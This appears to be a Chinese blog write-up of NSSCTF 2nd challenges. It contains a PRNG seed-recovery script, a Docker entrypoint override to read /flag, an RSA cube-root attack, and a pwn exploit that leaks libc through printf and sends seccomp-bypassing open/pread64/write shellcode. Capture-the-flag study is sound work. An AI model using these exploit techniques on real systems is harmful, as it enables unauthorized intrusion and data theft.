求知若渴,虚心若愚.|

lmarch2

园龄:1年8个月粉丝:5关注:7

NSSCTF NSSCTF 2nd WP

NSSCTF 2nd WP

MISC

gift_in_qrcode

import qrcode
from PIL import Image
from random import randrange, getrandbits, seed
import os
import base64

flag = os.getenv("FLAG")
if flag == None:
    flag = "flag{test}"

secret_seed = randrange(1, 1000)
seed(secret_seed)
reveal = []
for i in range(20):
    reveal.append(str(getrandbits(8)))
target = getrandbits(8)
reveal = ",".join(reveal)

img_qrcode = qrcode.make(reveal)
img_qrcode = img_qrcode.crop((35, 35, img_qrcode.size[0] - 35, img_qrcode.size[1] - 35))

offset, delta, rate = 50, 3, 5
img_qrcode = img_qrcode.resize(
    (int(img_qrcode.size[0] / rate), int(img_qrcode.size[1] / rate)), Image.LANCZOS
)
img_out = Image.new("RGB", img_qrcode.size)
for y in range(img_qrcode.size[1]):
    for x in range(img_qrcode.size[0]):
        pixel_qrcode = img_qrcode.getpixel((x, y))
        if pixel_qrcode == 255:
            img_out.putpixel(
                (x, y),
                (
                    randrange(offset, offset + delta),
                    randrange(offset, offset + delta),
                    randrange(offset, offset + delta),
                ),
            )
        else:
            img_out.putpixel(
                (x, y),
                (
                    randrange(offset - delta, offset),
                    randrange(offset - delta, offset),
                    randrange(offset - delta, offset),
                ),
            )

img_out.save("qrcode.png")
with open("qrcode.png", "rb") as f:
    data = f.read()
print("This my gift:")
print(base64.b64encode(data).decode(), "\n")

print(target)

ans = input("What's your answer:")
if ans == str(target):
    print(flag)
else:
    print("No no no!")

题目所给附件内容如上

分析过后发现直接输入打印出的target即可获得flag

Magic Docker

题目提示执行命令,docker run randark/nssctf-round15-magic-docker

执行过后发现要求输入secrect

查看docker文件

发现app文件下的miain.py文件为

import click
import random
import sys
import os
from time import sleep

@click.command()
@click.option('--secret',help='default=none,between 0 and 100',type=int)
def func(secret):
    if str(secret)==str(answer):
        print("Congratulations!")
        print("But where is your flag?  (=‵ω′=)")
    else:
        print("No! You don't know anything about docker!")
        print("How dare you! ")

BANNER="""
███╗   ██╗███████╗███████╗ ██████╗████████╗███████╗    ██████╗ ███╗   ██╗██████╗            
████╗  ██║██╔════╝██╔════╝██╔════╝╚══██╔══╝██╔════╝    ╚════██╗████╗  ██║██╔══██╗           
██╔██╗ ██║███████╗███████╗██║        ██║   █████╗       █████╔╝██╔██╗ ██║██║  ██║           
██║╚██╗██║╚════██║╚════██║██║        ██║   ██╔══╝      ██╔═══╝ ██║╚██╗██║██║  ██║           
██║ ╚████║███████║███████║╚██████╗   ██║   ██║         ███████╗██║ ╚████║██████╔╝           
╚═╝  ╚═══╝╚══════╝╚══════╝ ╚═════╝   ╚═╝   ╚═╝         ╚══════╝╚═╝  ╚═══╝╚═════╝            
                                                                                            
███╗   ███╗ █████╗  ██████╗ ██╗ ██████╗    ██████╗  ██████╗  ██████╗██╗  ██╗███████╗██████╗ 
████╗ ████║██╔══██╗██╔════╝ ██║██╔════╝    ██╔══██╗██╔═══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
██╔████╔██║███████║██║  ███╗██║██║         ██║  ██║██║   ██║██║     █████╔╝ █████╗  ██████╔╝
██║╚██╔╝██║██╔══██║██║   ██║██║██║         ██║  ██║██║   ██║██║     ██╔═██╗ ██╔══╝  ██╔══██╗
██║ ╚═╝ ██║██║  ██║╚██████╔╝██║╚██████╗    ██████╔╝╚██████╔╝╚██████╗██║  ██╗███████╗██║  ██║
╚═╝     ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═╝ ╚═════╝    ╚═════╝  ╚═════╝  ╚═════╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
                                                                                            

"""

if __name__ == "__main__":
    os.system("rm -f /flag")
    print(BANNER)
    random.seed("NSSCTF 2nd")
    answer=random.randint(0,100)
    if len(sys.argv)<2:
        print("You need to give me the secret!")
    else:
        func()

若按照预设命令执行完main.py后,容器会删除flag文件

所以我们自定义docker启动命令

直接执行cat /flag

image-20230829233059165

gift_in_qrcode(revenge)

链接一下得到一堆Base64编码

先写个脚本解码Base64保存为png

import base64

# Paste the Base64 encoded string here
base64_string = "your_base64_string_here"

# Decode the Base64 string
decoded_data = base64.b64decode(base64_string)

# Save the decoded data as a PNG file
with open("image.png", "wb") as f:
    f.write(decoded_data)

扫码得到二十个随机数

根据计算随机数种子,并计算下一个随机数,输入程序中即可拿到flag

from random import randrange, getrandbits, seed

def poc():
    for i in range(1,1000):
        secret_seed = i
        seed(secret_seed)
        a = [97,45,232,198,115,215,226,198,32,189,8,210,84,11,150,134,221,207,167,176]
        reveal = []
        for i in range(20):
            reveal.append(getrandbits(8))
        if reveal == a:
            flag = getrandbits(8)
            return flag
    return False
print(poc())

image-20230830001615052

然后最无脑的爆破来了

为什么要爆这么久,早知道我再多爆一会的..

from pwn import *

count = 0
while True:
    conn = remote("node5.anna.nssctf.cn", 28380)
    conn.recvline().decode()
    conn.recvline().decode()
    conn.recv().decode()

    conn.sendline(str('110').encode())

    count += 1
    print('count:', count)

    output = conn.recvline().decode()
    if 'No no no!' not in output:
        print(output)
        break

image-20230830001858060

Crypto

EzRSA

发现e - 3 ,低加密指数爆破

脚本一把梭

import binascii
import gmpy2

e = 3
# 读入 n, 密文
n = 115383855234466224643769657979808398804254899116842846340552518876890834212233960206021018541117724144757264778086129841154749234706140951832603640953383528482125663673926452745186670807057426128028379664506531814550204605131476026038420737951652389070818761739123318769460392218629003518050621137961009397857

c = 5329266956476837379347536739209778690886367516092584944314921220156032648621405214333809779485753073093853063734538746101929825083615077

i = 0
while 1:
    res = gmpy2.iroot(c+i*n,3)
    if(res[1] == True):
        m=res[0]
        print(binascii.unhexlify(hex(m)[2:].strip("L")))
        break
    print("i="+str(i))
    i = i+1

NSSCTF

FunnyEncrypt

image-20230830002659009

本来想看看能不能词频分析的,结果发现完全对不到

只好根据已知的nssctf和前面的一堆话里面寻找符合预感的字符与字母对应关系 , 慢慢对应着可以找到的

PWN

happy

主函数首先绕过proof,接着fork一个子进程,在父进程中进行一个有沙箱限制的shellcode执行

这个地方在调试的时候可能容易卡住,需要用set follow-fork-mode parent停留在父进程继续调试

首先我们来看proof函数

image-20240204233943567

要想让v4=v3,那么只能通过printf看看可不可以把一些信息泄露出来,然后再通过计算得到puts的地址

通过调试能够发现,printf可以把栈上的数据打印出来,这里选择泄露出_IO_2_1_stderr_的libc地址

计算得到puts的真实地址,绕过proof检测

这里一定注意scanf函数的一些特性,特别是涉及到\n,+-号函数是会部分忽略还是完全忽略还是正常调用十分关键,这可以帮助节约大量调试的时间

参考:https://blog.csdn.net/qq_54218833/article/details/121308367

接下来就是shellcode的编写了

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0LL, 42LL, 0LL);
  seccomp_rule_add(v1, 0LL, 57LL, 0LL);
  seccomp_rule_add(v1, 0LL, 322LL, 0LL);
  return seccomp_load(v1);
}

可以看出来禁用了read,connect,execve 调用

这里用open,pread64,write绕过

写exp

 from Excalibur import*

contextset()
proc('./pwn')

#debug('b *0x4013FA\nb *0x401514\n')
#debug('b *0x40142E\nb *0x401490\n')
#debug('b *0x401508\n')
debug('b *0x401563\n')


el('./pwn')
lib('./libc.so.6')


puts_got = got('puts')#0x403FF0
stderr = libcsym('_IO_2_1_stderr_')
puts = libcsym('puts')


sla(b'konw',b'16')

for i in range(0,16):
    sl(b'+')

#sl(b'a')


ru(b'0')
std = int(rec(15))
prh(std)

libcbase = std - stderr

puts = libcbase+puts
prh(puts)
pr(str(puts))

sda(b'try',str(puts))


bss = 0x4040A0
shellcode ='''
nop
nop
push 0x67616c66
mov rdi, rsp
xor rdx, rdx
xor rsi, rsi
push 0x2
pop rax
syscall
'''
#shellcraft.open("flag")
shellcode += '''
push 0x11
pop rax
push 0x4041A0
pop rsi
push 0x3
pop rdi
push 0x64
pop rdx
push 0x0
pop r10
syscall
'''
shellcode += shellcraft.write(1,bss + 0x100, 100)

shellcode = asm(shellcode)

print(shellcode)
print(len(shellcode))

sl(shellcode)



ia()

image-20240205000529665

本文作者:lmarch2

本文链接:https://www.cnblogs.com/imarch22/p/17666196.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   lmarch2  阅读(147)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.

作曲 : Reol

作词 : Reol

fade away...do over again...

fade away...do over again...

歌い始めの一文字目 いつも迷ってる

歌い始めの一文字目 いつも迷ってる

どうせとりとめのないことだけど

伝わらなきゃもっと意味がない

どうしたってこんなに複雑なのに

どうしたってこんなに複雑なのに

噛み砕いてやらなきゃ伝わらない

ほら結局歌詞なんかどうだっていい

僕の音楽なんかこの世になくたっていいんだよ

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.

目の前 広がる現実世界がまた歪んだ

目の前 広がる現実世界がまた歪んだ

何度リセットしても

僕は僕以外の誰かには生まれ変われない

「そんなの知ってるよ」

気になるあの子の噂話も

シニカル標的は次の速報

麻痺しちゃってるこっからエスケープ

麻痺しちゃってるこっからエスケープ

遠く遠くまで行けるよ

安定なんてない 不安定な世界

安定なんてない 不安定な世界

安定なんてない きっと明日には忘れるよ

fade away...do over again...

fade away...do over again...

そうだ世界はどこかがいつも嘘くさい

そうだ世界はどこかがいつも嘘くさい

綺麗事だけじゃ大事な人たちすら守れない

くだらない 僕らみんなどこか狂ってるみたい

本当のことなんか全部神様も知らない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.